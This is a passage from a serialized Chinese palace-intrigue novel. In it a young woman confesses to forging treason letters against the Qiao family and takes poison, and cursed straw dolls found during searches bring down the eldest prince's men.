乔家人都懵了一下,乔老三赶紧发问:“镰儿,这是何意。” “是有人提取了大猛哥写的字,组合成了通敌叛国的书信,然后印刷出来,这样看来,就是大猛哥亲手写下了完整的通敌信。” 大家恍然大悟,还有这样的操作,那个人使出这样的招数,也着实是令人防不胜防。 “既然要提取字,形成流畅的一封书信,那一定是看了不少大猛哥写下的东西,并且拿到了手里,这个人又会是谁呢。”乔枝枝沉吟。 本来刚才,乔大猛满心的疑惑,可是乔枝枝的话犹如一声惊天雷,从他的脑门一直劈到他的脚底,贯穿他的整个身体。 他惨白着脸,往后踉跄了几步,跌倒在了一张椅子上。 “不,不会的,她不会这样做,一定是,一定是——”乔大猛极力想要找到一个说得通的理由。 可是他词穷了,他语塞了。 只有杜青兰接触过那些信,不仅如此,好多词句,都是她在一旁的授意。 有的明明很激烈,根本不符合她的性子,可是她偏要他写下来。 越想,大猛越惊心,越恐惧,他闭着眼,不敢接着往下想。 这是对他信念的摧毁,对他美好希冀的磋磨,那样的残酷,那样的酸涩。 他全身的血都凉了,仿佛停止了流动。 “谁不会这样做,是谁让你这样做的。”吕氏连声逼问,看来,大猛已经猜到使坏的是谁了。 乔家每一个人,都想知道那个人是谁,都想让那个人下地狱。 可大猛只是颤抖着,闭着嘴巴,一个字都不肯说。 “娘,你不要逼我,我不知道,我不知道。”大梦感到一阵阵钻脑的疼,他捂住了脑袋两边。 大家看到他似乎是受到了精神重创的状态,都有一种不好的预感。 这时候,柴管家在门外道:“杜姑娘来了。” 乔老太叹了一口气:“现在不太适合,让杜姑娘回去,明天再来吧。” 柴管家刚要回去传话,回头就看到杜青兰在他身后。 杜青兰一身素衣,脸上不施粉黛,也不知道是不是这个原因,她的脸上没有一丝血色,迈出的每一步,都像是使出了毕生的力气。 “杜姑娘,乔老夫人说了,今天怕是不便——”柴管家发现,杜青兰好像根本没有把他的话听进去,又想想她经常来,便没有进一步阻挡。 乔家大堂里的气氛,十分的凝重,好像空气都不再流动,闷得人心头发慌。 杜青兰第一眼就看到了倒在椅子上的大猛,他面如死灰,紧闭双眼,嘴角边有一缕鲜红的血迹。 吕氏焦急地在一旁,给他顺着气。 “儿啊,娘一开始误会了你,娘不是故意的,你别往心头上去,啊。” “那个人是谁,你不想说就暂时不说了,先去休息吧。” 乔老太对杜青兰道:“青兰,家里出了点状况,现在正在解决,你先去暖阁等着吧,有什么吩咐下人一声便是。” 在这个时候,乔老太还是满含关切的口吻。 活了几十岁的老人了,又怎么会看不出来杜青兰的状况不太好,但是现在乔家都自顾不暇,有棘手的问题需要解决。 杜青兰一直低着头,现在她抬起头来,大家才发现,她的双眼布满了红血丝,很是吓人。 “青兰,你这是咋了。”吕氏赶紧问。 她很难受,儿子这个样子,即将过门的儿媳又是这般形容,也不知道她遭遇到了什么事, 杜青兰跪了下来,她的膝盖似乎完全不受力,垂垂跪下去的时候,发出清脆的响声。 这一举动,把乔家人吓了一大跳。 “青兰,你这是在做什么啊,快起来,可伤到膝盖了?”裴清容要过去扶人。 可是杜青兰岿然不动,嘴角边有一抹凄然的笑意。 “我是个罪人,死一千次一万次,也不足为惜。” “我愿成为乔家院子里铺路的石子,让你们日夜践踏赎罪。” 见她话说得这样重,乔家人面面相觑。 “这孩子,突然来这一出,你莫不是糊涂了,赶紧起来。”乔老头也拿出了严厉的态度。 “我不能起来,因为你们要找的人,是我。” “是我从大猛哥给我写的情书里,抠下了那些字样,组合成了通敌叛国的书信。” 她的这一句,像是一道惊天雷,在乔家人头顶炸开,更像是一柄利剑,刺入大家的心脏。 乔老太扶着椅子,颤颤巍巍站起身来,吐出来的话沙哑破碎:“是你,竟然是你,你为什么要这样做,我们乔家可有对不住你的地方。” 第554章 给过她机会,她还这样狠 说完这一句话,乔老太似乎用尽了所有的力气,身体一晃,好在被乔云妮及时扶住。 “乔家没有对不起我的地方,相反,乔家对我宽厚仁爱,恩重如山。” 杜青兰一脸怅茫地说,眼里有无尽的悲哀。 “你也知道乔家待你不错,可你还是迈出这一步,还是说,你一开始来到大猛的身边,就是抱着这个目的。”乔老三面如冷霜。 大猛慢慢睁开了眼睛,看杜青兰的眼神,已经是一片浓烈的悲愤和失望。 甚至他的一颗心已经痛到麻木,浑浑噩噩,只觉得眼下是在一场醒不来的噩梦中。 他当初遇到杜青兰的时候,杜青兰在桥头,一副柔弱无依的样子,原来就是为了引他上钩,获取他的信任,进而欺骗乔家所有人,把乔家送入万劫不复的境地。 “是的,我是带着任务来的。”事已至此,杜青兰没有任何隐瞒,把一切交代出来,反而会让她好受一点。 她跪在地上一动不动,忍着膝盖不断传来的钻心的疼痛,慢慢说道:“七年前,有一个三品大员犯了重罪,也是姓杜,按规定要查抄九族。我家几代从商,我的父亲花钱买了一个九品闲职,本来日子这样无波无澜地过着,却不想如此简单平静的生活,也遭人眼红嫉妒。” “有人跟负责这件事的部门举报,说我们杜家也是那一名三品大员的九族之一,我们为自己辩护,又拿出了证据,证明跟那一件案子无关,可是我们家从商,还算积累了一定的家业,查抄的人不会放过这一次机会,就这样,我们杜家被卷进这一场无妄之灾中。” “本来按照规定,要株连九族,正好遇到大赦,男丁流放,女眷发卖,我的母亲坚决要和我父亲一起走,他们都死在了流放途中。” 杜青兰抬头看着上空:“这些年来,我一直在想,我们杜家老实本分,从来没有对不起任何人,为什么老天却要给我们安排这么不堪的命运,为什么这样不公平,这样残忍。” “我求了无数人,包括官家,富商,不知道去了多少趟衙署,蹉跎了三年,都没有人愿意帮我的忙。后来我知道,大皇子好细腰,我便辛苦学习舞艺,到了他的身边,求他给我们杜家平反,可他一直没有答应下来,直到这一次,他说我办成了这件事,便实现我的夙愿,并放我自由。” “我一年年等着,一年年盼着,终于等来这一次机会,我又怎么能放弃呢。” 杜青兰说着笑了起来,笑声夹杂着对命运无情的嘲讽,以及一种深深的无力感。 乔家人一阵沉默,原来杜青兰还有这样悲惨的经历。 可他们并没有心软,因为他们马上意识到,即便如此,也不是她害乔家的理由。 “是,杜家无辜,难道我们乔家就活该?”乔老大开口。 “就算你一开始觉得,无所谓乔家的生死,可我们乔家对你还算厚重,难道你的心里就没有一丝一毫的动容,铁了心要置乔家于死地?” 这样的质问,让杜青兰颤抖了一下,她无法回答这个问题,她也无法面对。 乔镰儿慢慢道:“我给过你机会,但你最终还是下定了决心。” 杜青兰有些困惑地看着她。 “那一次,太子殿下来乔家,便是我对你的一个态度,我早知道你的计划,却没有拆穿你,念着我们乔家在你身上付出的心意,若是你能迷途知返,便是太子殿下助你们杜家平反,我们乔家也可以安然无恙。” 杜青兰身子一震,那个时候,她的心里面是冒出这样一个猜测,可她以为是碰巧,就算乔镰儿是真的向她释放某种信号,她也不敢去赌。 现在她真真切切知道乔镰儿的意图,给她带来的震动,仿佛一道鞭子,在她的灵魂上狠狠抽打了一下。 乔家人和杜青兰一样震惊,但是震惊的点却不一样。 原来镰儿不仅早就知道这一场阴谋,还给了杜青兰重新选择的机会,她不是一点退路都没有。 只要她悬崖勒马,乔家人永远不知道这件事,原本是怎么待她的,后面也会这么待她。 她以后的人生,都会被幸福,温暖,热闹包围,无忧无虑,享受富贵。 从她的角度来看,百利而无一害。 但她还是选择葬送乔家。 这样一来,乔家人更是恶寒不已。 这是什么样的恶毒心肠,才会在有选择的情况下,决心做恶到底。 “对不起,对不起。”杜青兰似乎再也支撑不住,趴倒在地上,全身剧烈颤抖,懊悔不已。 但是现在,说什么都晚了。 大猛踉跄冲到她的面前,抓住她的肩头,通红的双眼逼视着她。 “无论你千错万错,我都可以原谅你,我都可以不在意,可你偏偏想要毁了我全家,你,如何忍心。” 他的劲几乎要把杜青兰的肩头捏碎,杜青兰惨白着脸,摇摇欲坠,她紧咬着嘴唇,羞愧难当,不知道该如何面对眼前的男人。 直到唇上都是鲜红的血迹,她仍然不发一言。 “大猛,事已至此,难道你还看不清吗?”吕氏寒声道:“这个女人对你无情无义,也不是你的未婚妻,她到你的身边只有一个目的,就是要我们全家人的命。” 杜青兰嘴唇动了动,欲言又止。 想到自己如今不过是死到临头,还是把所有的心里话说出来。 她看着大猛,眼里抽离了所有的算计,只剩下一片浓烈的憾恨:“我想过,如果能成为你的妻子该有多好,我无数次痛恨我的命运,恨我不能拥有这一段如意姻缘,我想到几年后,我们有一双儿女,在我们身边跑来跑去,但我很清楚,这只不过是我的幻梦而已。” 然后她看向乔老太:“乔奶奶,您把亲手做的手套戴到我双手上的时候,我想到了我的奶奶,您那样的温和慈爱,我多么想在您跟前尽孝,天天逗您开心。” 第555章 乔家不杀你,你也活不了 乔老太想到当初的情形,眼睛一热,扭开了头。 杜青兰又看向乔溪儿裴清容她们:“我想和你们待在一块儿,做女红,说说笑笑,这样打发着时光,不知不觉就过去一天。” 杜青兰的目光,最后落向了乔镰儿:“还有你,我一开始就看出来了,你对我抱着警惕,可你又是那样的厉害,我对你到底是敬仰的,这个家由你护着,任何风吹雨打都不怕,我也想,活在你的庇佑之下。” 她凄然大笑了起来:“可是我没有这样的好命,我杜青兰注定背负家族的责任而活,注定为家族的清白而死。” “是的,你们给了我一次机会,我也差一点动摇,可是我懦弱,我胆怯,我不敢再做新的选择,我怕事情的走向无法判断,我无法承受任何变化。” “只有沿着原来的计划走,我才多一点把握,为了杜家沉冤昭雪,我胆战心惊,每一步都如履薄冰。” “乔家你可以不信任何人,你连我也不信。”乔大猛双拳紧握,几乎是嘶吼。 “只要你及时收手,我可以去为你做任何事,可你根本就不信我。” 听杜青兰说她几乎动摇,他心中翻涌着无边的气恨,她本来可以迈出这一步,本来不至于到这样的局面,但她没有。 她偏要把乔家,把自己都逼上死路。 “现在说什么都晚了。”杜青兰纸一般苍白的脸上没有一丝一毫的生机。 “该说的我已经说了,该吐露的想法我也吐露了,你们要杀要剐,都是我该得的。” 说完杜青兰就闭上眼睛,一副引颈就戮的姿态。 乔家人恨透了她,可要此刻他们动手杀了杜青兰,他们也狠不下这个心。 毕竟过去有那么多温暖的相处,有那么多美好的期待。 杜青兰柔柔弱弱,家世又凄苦。 一时间,大堂里的空气似乎都不再流动,一片僵冷。 原谅是不可能,杀掉,到底也下不去这个手。 大家还是等着乔镰儿做决定。 “乔家不杀你,你也活不了,自己回去拿主意吧。”乔镰儿道。 “人要为自己做过的事情负责。” 是的,计划失败,大皇子是绝不会放过杜青兰的。 她在大皇子的房间里放了一个人偶,但是这个根本不足以扳倒大皇子,只是让他吃点苦头而已。 杜青兰听闻,默默地从地上起身,她的膝盖受了损伤,挣扎了好一会儿,才勉强站起来。 然后咬牙支撑着,一步步走出门,纤细的背影萧条零落。 若是在平时,看到她这副样子,乔家人早就不知道心疼到了哪里去。 可是此刻,想到她犯下如此罪孽,大家脸色都一片冰冷。 大猛看着杜青兰的身影,血红的双眸里,复杂的情绪在交织着。 他甚至在责备自己,如果他早知道,杜青兰有这样的家世遭遇,让镰儿出手,是不是就不用面对今日的一切。 “大猛,随她去吧,这样的人,不必顾念,不必同情。”乔老头说。 第556章 搜出稻草娃娃 杜青兰刚刚饮下鸩酒,她坐在她经常坐的那个位置,靠着坐榻,看着门外。 一直生着的火炉,今天却是冷寂,让屋内更加的冷清。 看到进来的人,她生机涣散的双眼里,有光亮闪烁了一下。 因为情绪波动,嘴角边涌出来更多的黑血。 大猛失神一般走过去,跪坐在地上,将人搂在怀中。 “兰儿,不要死,我,我把你送到一个任何人都不知道的地方,你在那里过一辈子。” 他最多也只能做到这一步,杜青兰要害死乔家全家,他这辈子和她都绝无可能。 他决定,把人安顿好了,她的一部分罪孽,就由他来替她偿还。 杜青兰艰难摇头:“我必须死,我也早就不想活了。” 她努力伸手,抚在大猛的脸上,感受着人间的最后一点温度。 “抱歉,我这一辈子,没得选。” 她嘴唇动了动,想说下辈子,可是她清楚,就算是下辈子,也不能偿清她的罪孽。 不如干净利落,一了百了。 杜青兰的手垂下了,慢慢的,就没有了声息。 大猛抱着她的尸首,想要大哭一场,可是喉咙哽涩,心底好像被掏空了,又累又麻木。 只是望着外头的天,不知道过去了多久,怀中的人完全凉透,也没有知觉。 不知道什么时候刮起了风,大红的灯笼和彩幔,摇晃着,招展着。 乔家的计划落空,接下来的搜索,大皇子不过是敷衍了事。 他有些心神不宁,所以裴二爷离开也没有察觉,等到裴二爷回来,身边更多了三百禁军,乌泱泱的,堵了一段街。 大皇子立刻警惕了起来:“裴将军,你突然带这么多人来做什么。” 经过了之前,裴二爷已经看清,大皇子就是想栽赃乔家,连带着裴家也一起送葬。 所以他板着脸,很不客气道:“自然是方便搜索,提高效率,末将看着大皇子早已有倦怠之意,想要为殿下多分担一些。” “替本宫分担,倒也轮不到你。”大皇子冷声说:“带这么多人来,容易扰民,还是散去大半吧。” 裴二爷道:“末将经常率领几千上万禁军,经过大街小道,从来没有人说过扰民,何况这区区三百禁军。” 大皇子见他如此坚持,心下更是有一种不太好的预感,他的眼底沉了下来,压低声音。 “裴二爷,你这到底是什么意思?” “末将不过是在为大皇子殿下排忧解难。”裴二爷雷打不动地说。 大皇子哼了一声,他倒想看看,裴二爷能弄出什么动静来。 这个时候有人飞快策马来报。 “太子殿下带人,进了内军军署搜索。” 听到这个消息,大皇子,陈副将,庞达的脸色都变了。 “什么,内军军署也要搜,这是哪来的规矩。”陈副将怒道。 “太子殿下偏要进去搜,拦也拦不住,小的们也不敢怎么拦。” 陈副将面露一丝惶色:“殿下,情况不妙,万一有人栽赃,倒打一把。” 几人立刻带着队伍,前往内军军署。 等到抵达的时候,看到林总将军也在院子里,负着手,一脸的平静。 林将军并不是那种魁梧的将军,身量修长,生着俊秀玉面,白白净净,看起来有三分儒雅。 一开始他担任总将,并不能服众,几年前北部联盟来犯,他率兵前往前线,打了几场大胜仗,这才让人心服口服。 太子的人各个房间搜索,进进出出,秩序井然,这其中,乔家又带来了三百骑兵。 这些人雷厉风行,很是利落。 “林将军,内军军署是拱卫天子的第二道防线,这样随便让人进来搜,不太好吧。”大皇子寒着一张脸。 林将军转过身来,拱手躬身行了个礼。 “回大殿下,太子殿下说了,既然传出造反的消息,为了公平起见,不仅仅是世家,新秀,军中也要搜一搜,甚至军中要更加谨慎,不然,军中出了篓子,比那些贵族的危害更大。” “难道林将军一点也不担心,有人趁着搜索,栽赃陷害。”大皇子冷笑。 “这一点,内军军署自然已经做了准备。”林将军看向那些屋子:“进去搜索的,都有军署的人跟着,保证他们没有做手脚的机会。” 陈副将这才稍微松了口气,但他总觉得,太子突然来搜这里,还搜这么仔细,真的像他说的那么光明正大? 庞达皱着眉头,比起大皇子和陈副将,他更加不安。 太子来搜这里,他怀疑有乔镰儿的意思。 那个死丫头,鬼主意最多了,就像这一次,她什么时候开始警惕的?又什么时候做了准备,他们完全蒙在鼓里。 所以,他也招了一队人过来,要去看个究竟,免得他的房间里出现什么东西。 这种事情,一旦说不清楚,那就跳进黄河也没法洗了。 “庞幕僚。”林将军开口了:“现在正在搜寻内军军署,按照规定,各大将领都需要避嫌,你虽是幕僚,但跟在陈副将的身边,还是在这里等着吧。” 庞达额头的青筋跳动,只好黑着脸退回来。 “既然如此,各大驻地,包括青枫原封地,也要搜索一番吧。”大皇子说道。 “末将已经派人前去,配合禁军一起调查,既然这一次开启了行动,那就查得周全详细一点,好给皇上一个交代。”林将军道。 “若是有人生出了不当的心思,及早清理出去,也好过后来成为祸患。” 这样一来,大皇子一众就不好说什么。 大皇子现在还没有意识到,不光光搜贵族,军队,就连各大王府,皇子府,都会好好搜上一搜。 陈副将眼睁睁看着,两重院落之外,那些负责搜索的人,进了他的屋子。 而他房间旁边的耳房,就是庞达的住处,也进了好几个人。 陈副将盯紧了那里,一颗心悬了起来,仿佛有人卡住了他的脖子。 乔镰儿坐在一旁的花台上,微微晃着双脚,饶有兴致看着这些人的脸色。 突然,房间里有人大叫一声:“这是什么东西?” “好像是巫蛊之术。” “太吓人了吧,扎这么多针是在诅咒谁。” 第557章 陈,庞二人被带走 听到这些话,院里的人脸色都变了,纷纷加快脚步,要去看看究竟是什么情况。 等到了陈副将的屋外,就看到有士兵惊怕地拿着一个扎满了针的稻草娃娃,拿着也不是,扔掉也不是。 太子不知道从哪个旮旯过来了,一开口就问:“这是从陈副将的屋子里搜出来的?” “正,正是,有好几个内军盯着呢,他们可以作证,我们可没有做手脚。”禁军士兵说。 太子身边的随从,将稻草娃娃接过来,端详道:“这上面有内容。” “念。”太子道。 “不过十年,大泽福运,盛而衰,衰而竭。” “不可能,我怎么可能诅咒大泽国。”陈副将血冲脑门,喘着粗气。 “是有人栽赃陷害。” 乔大成肃然道:“陈副将的居室,在军署靠里,谁会轻易进得来,在你的房间里放这种东西。” 这时候,又有两名士兵从庞达的房间里出来,也是拿着一个一模一样的稻草娃娃。 “庞幕僚的居室也有一个。” 庞达本来提心吊胆的,心里面祈祷着,他千万不要摊上这种事,没想到,还真的给搜出来了。 他顿时急了,打着手势,啊啊啊地辩解,差点没有说出人话来。 太子淡淡道:“写的一样的内容,看来,你们主仆俩还真的是上下齐心呢。” “大皇兄,你觉得这种事情,该如何处理才好。” 大皇子现在还有点回不过神来,这一场搜查,明明是奔着乔家来的,哪里想到,反而是他的人一个个遭殃。 他拿过稻草娃娃,看着上面的字样,脸颊抽动着,心中是怒恨翻涌。 “这是印刷体,看不出是谁的笔迹,不能作为证明。” “要这么说的话,以后谁要是写大逆不道之言,只要用印刷体,就可以轻拿轻放,不予定罪。” 太子缓缓道:“哪怕是从卧室里搜出来。” “陈副将和庞幕僚再怎么胆大,也不敢做出如此大逆不道之事,定是有人栽赃陷害。” 大皇子看着太子,眼里晦暗复杂,嘴角边却扯起一抹笑来。 “我说呢,怎么会突然想到搜内军军署,原来是有人早做安排,就等着请君入瓮。” “大皇兄在意指本宫?无凭无据,倒打一把,这跟胡搅蛮缠,混淆是非有什么区别。”太子却是一派清者自清的态度。 太子一挥手:“把他们两个抓起来,这样的案件,必须刑部,大理寺,御史台三司会审,若是有幕后主使,也好查得更清楚。” 他这一声吩咐,裴二爷的禁军,乔家军都去按人。 “本宫看谁敢。” 大皇子一个眼色,他的人也挡在二人的面前。 不过,太子这边早做准备,人数压制,哪怕他们不怎么着急,也让大皇子心中不安。 “这二人涉嫌诅咒国运,大皇兄存心包庇不成?”太子的脸色也严肃起来,笑了一声:“大皇兄该清楚自己是在做什么。” “本宫不过是不想太子颠倒黑白,任由莫名其妙出现的证据就认定人的罪名,这也未免太草率了,也是对陈副将二人的不公,太子却说本宫成心包庇,欲加之罪,何患无辞,还是说太子早就看本宫不顺眼,想要趁着这一次机会,给本宫使绊子。” “二皇兄此言差矣,证据是在他们的卧室里搜出来的,这是千万抵赖不了的事实,所以需要好好审问调查,这总该没有错吧。” 大皇子被这话噎住,干脆对林将军道:“林总将军,他们是你的人,可能被人污蔑,你要看着他们被带走吗?” 在自己的部下卧室里搜出这种敏感的东西,林将军的神情已经很不好看了。 “历朝历代,都忌讳巫蛊之术,皇上更是三申五令,大泽国的每一个角落,都不许出现这种东西。若是此事轻拿轻放,反而显得末将有包庇之嫌,还是调查清楚,若是冤屈,还他们清白,若是真的用心不良,那便接受应有的惩罚。” 二人知道,被三司会审,基本上进去就很难出来了,眼色都在向大皇子拼命求救。 大皇子一个头两个大,众目睽睽之下搜出稻草娃娃,这种事想轻易善了,是绝不可能的,陈副将一旦被带走,他手下的那四万兵权,可能也会很快被剥夺。 乔家的三万精兵,已经是竹篮打水一场空,现在这四万,也要化作泡影。 这教他如何甘心。 可是他已经找不出理由,再加上带的人手不够,根本阻止不了,如果执意阻拦,反而显得自己有嫌疑。 只好说道:“你们没有诅咒大泽国气运,断断不会误判,甚至会把污蔑你们的人揪出来,先去配合调查吧。” 见大皇子都这样说了,二人垂头丧气,但大皇子的意思,暗示会捞他们,又让二人多了两分安心。 陈副将和庞达被带走,大皇子身上的气息消沉,眉眼间都是阴鸷。 禁军和乔家军继续搜索其他的房室,搜得仔仔细细,就连宽阔的教练场,各大兵营,也都好好看了一下,没有搜到什么,这才离开。 该轮到大皇子了,乔镰儿心想。 大皇子这里,肯定不会像陈副将和庞达处罚得那样重,能让他跌一个跟头也好。 太子带着禁军回宫,第一件事,就是搜查各个皇子殿。 雷厉风行,猝不及防。 皇子们还没有反应,宫殿就进了禁军。 大皇子看到这个动作,心中强烈的不妙掀起。 “还要搜皇子殿,父皇怎么没有跟本宫说,不会是二皇弟自作主张吧。” 太子道:“本宫已经请示过父皇,既然内军军署都搜查出了那种腌臜东西,怕是连宫里也要好好搜一遍,各大公主殿,嫔妃殿,会由青枫原封地的女兵去搜。” 大皇子深吸了一口气,到现在,这件事情的主动权,已经落到了太子这一边的手里。 太子绝不会放过,这一次让他吃亏的机会。 “本宫的宫殿,本宫自己人会搜,就不必劳烦太子了。” “大皇兄难道不知,自己人最该避嫌才是。” 第558章 皇帝爱长子 太子再也不跟大皇子废话,抬手示意,就有一队人冲进了大皇子殿。 大皇子的脸皮抽动着,心中一下下不安,他可不希望,在自己的店里,也搜出那种不干净的东西来。 但是他这里一向不许外人进来,每一个生人都会严加防范,所以,应该很难找到机会栽赃陷害。 “都给我盯紧了,万一有人手脚不干净,想要放什么证据。”大皇子冷冷道。 “大皇兄不必紧张,你的殿里人不少,还养了这么多护卫,想要做这个手脚还真不容易。” 是的,皇帝偏爱大皇子,允许他在殿里养一批武功高强的护卫,只要这些人不踏进后宫那一片范围。 其他的皇子,包括太子,也只有一些普通守卫而已,另外的便是太监了。 对于太子的话,大皇子冷笑一声,不置可否。 禁军进入各个屋子,从厨房到暖阁,从书轩到大厅,从一个房间到另一个房间。 折腾了一天,夜幕已经降临下来,今晚没有一丝月色,禁军手上举着火把,火焰腾腾舔舐着半空,预示着一种危机感。 “搜到了。”这时候,一名禁军从大房子的房间冲出来,手上也是拿着一个一模一样的稻草娃娃。 “也是,也是有关大泽国气运。” 一时间,气氛都僵凝了下来,不管是禁军还是大皇子院内的人,都是一脸的不敢相信。 大皇子竟然施行巫蛊之术,诅咒大泽国,明明身为皇上最宠爱的皇子,坐享荣华富贵,为什么会这样想不通,到底是哪根筋搭错了。 见真的搜出东西来,大皇子一愣,突然就仰头冷笑了起来。 “果然啊,本宫还说,怎么太子突然想要搜皇子殿,原来是早有准备。” 太子皱着眉头:“大皇兄,在所有的皇子里,父皇最疼你,虽然没有给你太子之位,但所有的待遇你是最好的,你为什么还要这样恨父皇?” “哼,以为搜出这样的东西,就能把罪名加在本宫的头上,你未免也太天真了,你觉得,随便在一个皇子的殿里栽赃陷害,就能得逞,那样大家还费尽心思斗来斗去做什么。” “大皇兄慎言,你这里除了祈公公,就不会放别人进去,谁能栽赃你呢,你的所有下人和护卫也都看着,禁军可做不了这个手脚。” 太子的嘴角微微勾起:“大皇兄,请吧,去父皇跟前说个清楚。” “不用去了,朕来了。” 伴随着一道低沉的声音,所有人赶紧让开两旁,跪下行礼。 皇帝拿过来那个稻草娃娃,看到上面扎满了针,写着诅咒大泽国气运之词,皇帝脸色无比阴沉。 “这是你的东西。” 大皇子跪在地上,额头上沁出了一层冷汗。 “父皇,您最疼孩儿, 孩儿怎么可能会诅咒大泽国,诅咒您呢。” “孩儿不是傻子,放着福不享,咒了大泽国,孩儿能够落得什么好。” 皇帝看向太子,他幽深的眼神让人琢磨不透:“这东西,是明明确确从大皇子的殿里搜出来的?” 太子脸上有惋惜之色:“的确是,儿臣也相信大皇兄做不出来这种事情,但这东西的出现,也未免让人匪夷所思。” “什么匪夷所思,分明是有人陷害本宫,呵,太子说要搜索皇子殿,本宫的房间里就多了这种东西,这未免也太巧合了吧。” “大皇兄的意思是说,这个东西是本宫安排?你的宫殿,不仅本宫,本宫所有的下人,随从,这几年来都没有来过,要说是本宫栽赃于你,也太过于牵强。” “我可没说是太子栽赃我。”大皇子冷硬地说道,又恳切地看向皇帝:“孩儿冤枉,孩儿实在是冤枉,还请父皇还孩儿一个公道,这种事情,孩儿是断断做不出来的。” 一边说着一边指天发誓:“若是孩儿有一个字的谎话,若是孩儿真的做了这种事,孩儿愿被天打雷劈,永生永世不得超生。” 可是皇帝脸色冷凝,似乎不为所动。 “这东西,是在你的房间里搜出来的,你这里从来不放外人进去,所以这到底是怎么回事。” 乔镰儿在一旁听着,总觉得皇帝的这句话,好像带着某种暗示。 而且她看皇帝的样子,应该是猜出来这是皇子之间的内斗。 对于皇帝来说,最重要的,是大皇子如何光明正大脱身。 “孩儿也是满心困惑,孩儿也是不理解啊,巫蛊之术是父皇心中大忌,孩儿敬爱尊重父皇,就算要了孩儿的命,孩儿也不可能这样忤逆父皇,亵渎父皇。” 皇帝缓缓吐出来一口气:“既然如此,那就只能启动调查程序了,程序一旦启动,你要被限制自由,直到事实清楚为止。” 大皇子打了一个哆嗦,人一旦被调查,可以操作的空间太大了,到时候,还不知道太子又会弄出什么动作,他是绝不能走到那一步去的。 他低着头,眼珠子转动着,突然转过头去。 “都给我好好想一想,到底有谁见过碰过这东西,及早招认,从轻惩戒,不然,本宫救不了你们。” 见太子带着威逼利诱的眼神,这些下人的脸色也变了。 他们清楚,要是不出来一个顶罪的话,全家都要被大皇子杀死。 面面相觑地暗中较量了一会儿,一个老嬷嬷颤抖着全身跪行上前。 “禀皇上,这个稻草娃娃是老奴扎的。” “你为什么要这样做。” “老奴有一次在御花园中,着急赶路,冲撞了皇上,被罚了月俸,还被打了几棍子,老奴心中对皇上有意见,又怪大皇子不为老奴说话,老奴便想着一边诅咒大泽国,一边诬陷大皇子,好出一出心头的气。” 皇帝想想,的确是有这么一回事,如此前后也就说得通了。 道:“既然你敢做敢当,那就不必牵连你家人,下去领一杯毒酒吧。” 老嬷嬷脸色惨白,谢了恩,双腿打着摆子退下去。 乔镰儿这一次深刻体验到了,皇帝爱长子,民间爱幺儿。 第559章 君主的敏锐:难道另有其信? 就连太子,对于皇帝的做法,眉头也不经意皱了一下。 “看来要扳倒大皇子,还真不是一件容易的事情啊。”乔镰儿道。 裴时玖在空间里接道:“何止是大皇子,那些不受宠的皇子,也是皇帝的亲生骨肉,像这种明显是栽赃的事情,皇帝是无论如何也要保下来的。” 乔镰儿沉默了。 她静静道:“来日方长。” 太子微微侧首,身后立刻有随从单膝垂手跪在皇帝的跟前。 “还有什么事?” 皇帝一个还字,让太子的眉心跳了跳,而且他听出了一缕不耐烦。 本来想让手下交代,今日大皇子带的人手脚不干净的事情,如果皇帝对大皇子有意见,这倒可以推波助澜,如果他偏袒大皇子受到诬陷,便是多此一举,甚至让皇帝觉得,他在有意刁难大皇子。 便挥手让手下退下,道:“今日在乔家的香炉里搜到一封信,闹出了一些波澜,差点让乔家被人误会,不过最后打开内容证明,那是飞鸾郡主亲手写下的恭祝圣安之信。” 皇帝眉眼松动,半真心半阴阳地说:“还是镰儿好啊,不会让朕烦心,就连祝福朕,也是偷偷藏在心里,不宣之于口,这才叫诚意,反而你们一个个皇子公主的,总是叫朕烦恼。” 太子只好跪下,忏悔一番。 “好了,今天你也是辛苦,以后这种捕风捉影的事情,就不必如此兴师动众了。”说着皇帝又剜了大皇子一眼。 大皇子是连头也不敢抬。 “在你的房间里搜出了脏东西,虽然是下人栽赃你,但你也有失察之罪,禁足三个月,罚一年俸禄。” 皇帝揉揉眉心,抬脚走了,一身烦躁的气息。 太子看着皇帝离开的身影,眼里没有半点受挫之意,很快父皇就会明白,刚才他说的那番话,背后或许隐藏着东西。 父皇猜到,在大皇子的房间里搜出稻草娃娃,或许是他这边所为,但如果是大皇子先动手,想要害乔家呢? 大皇子慢慢从地上起来,已经是一脸的得意。 “二皇弟,想要趁着这一次绊倒我,你未免想得太天真了吧,你也看到了父皇的态度,如果你不是皇后所生,东宫也轮不到你进去住。” 说着,大皇子拍了拍太子的肩头:“实话很难听,但事实就是事实。” 太子面上带着淡笑,伸手拂了拂肩上,默不作声表示了他的嫌弃。 “大皇兄误会了,你自己管教下人不当,还想赖在本宫的头上么,何必又扯到东宫的位置上去,这个位置,上天规定谁坐,谁就来坐,命中没有,莫要强求,想太多劳心费神,对身体不好。” 大皇子见他绕来绕去,就是不肯承认,冷嗤了一声:“以后的路还长着呢,谁怎么样还说不一定,太子最好坐稳了,免得哪一天,今日说的话沦为笑话。” “那就借大皇兄吉言,我会在这个位置上,好好恪尽职守,不会叫父皇失望。” 二人一番看不见硝烟的战火过后,大皇子进了宫殿,太子带着禁军离去。 皇帝靠在寝殿的软榻上,手指撑着眉头,他总觉得事情有哪里不对,仔细一回味,反应过来了。 镰儿为什么要写下一封信,放在香炉里呢。 虽然恭祝圣安,心意可嘉,但既然不示众,放在心底就好,为什么还要多此一举,拖泥带水。 虽然也勉强说得过去,毕竟那是祭祖的神龛,君王与天地同寿,放在那个位置,倒是显出一份诚意。 但他总觉得乔镰儿不像是做出这种事情的人。 皇帝发出啧的一声,坐正了身体。 他接到禀报,说今天那些禁军内军,在乔家门口乱了一阵,结果证明是一场乌龙。 难道有的人,是奔着香炉底下的东西去。 本来刚才皇帝困了,想要就寝,可现在却是一丝睡意也无。 “祁公公。” 祈公公在门外候着,闻言匆匆进来:“皇上有什么吩咐。” “孙平今天也去搜查了,把他喊来。” 孙平是禁军的其中一名都指挥使,职位不高也不低,是皇帝设在禁军领帅当中的一枚眼线。 祈公公看了看外面的天,现在已经是深夜了,换做平时,皇上已经准备就寝,现在却要召见人,说明有不得不见的理由。 他立刻吩咐人去办。 孙平速度很快,跪在大殿之外问安。 “进来吧。”皇帝道。 等孙平进去,他道:“把今天在乔家的事情,仔仔细细讲一遍,不要有任何遗漏。” 孙平事无巨细,一边察言观色,当皇帝露出思索的脸色,他会放慢一点速度。 等到讲完了,他伏在地上,一动不动。 “你说的每一句话,每一个字都是真的,没有捏造和渲染的成分。” “绝对没有,末将没有特别突出的才能,就是记性特别好,几乎能够做到过耳不忘。” 皇帝摆了摆手,让他退下。 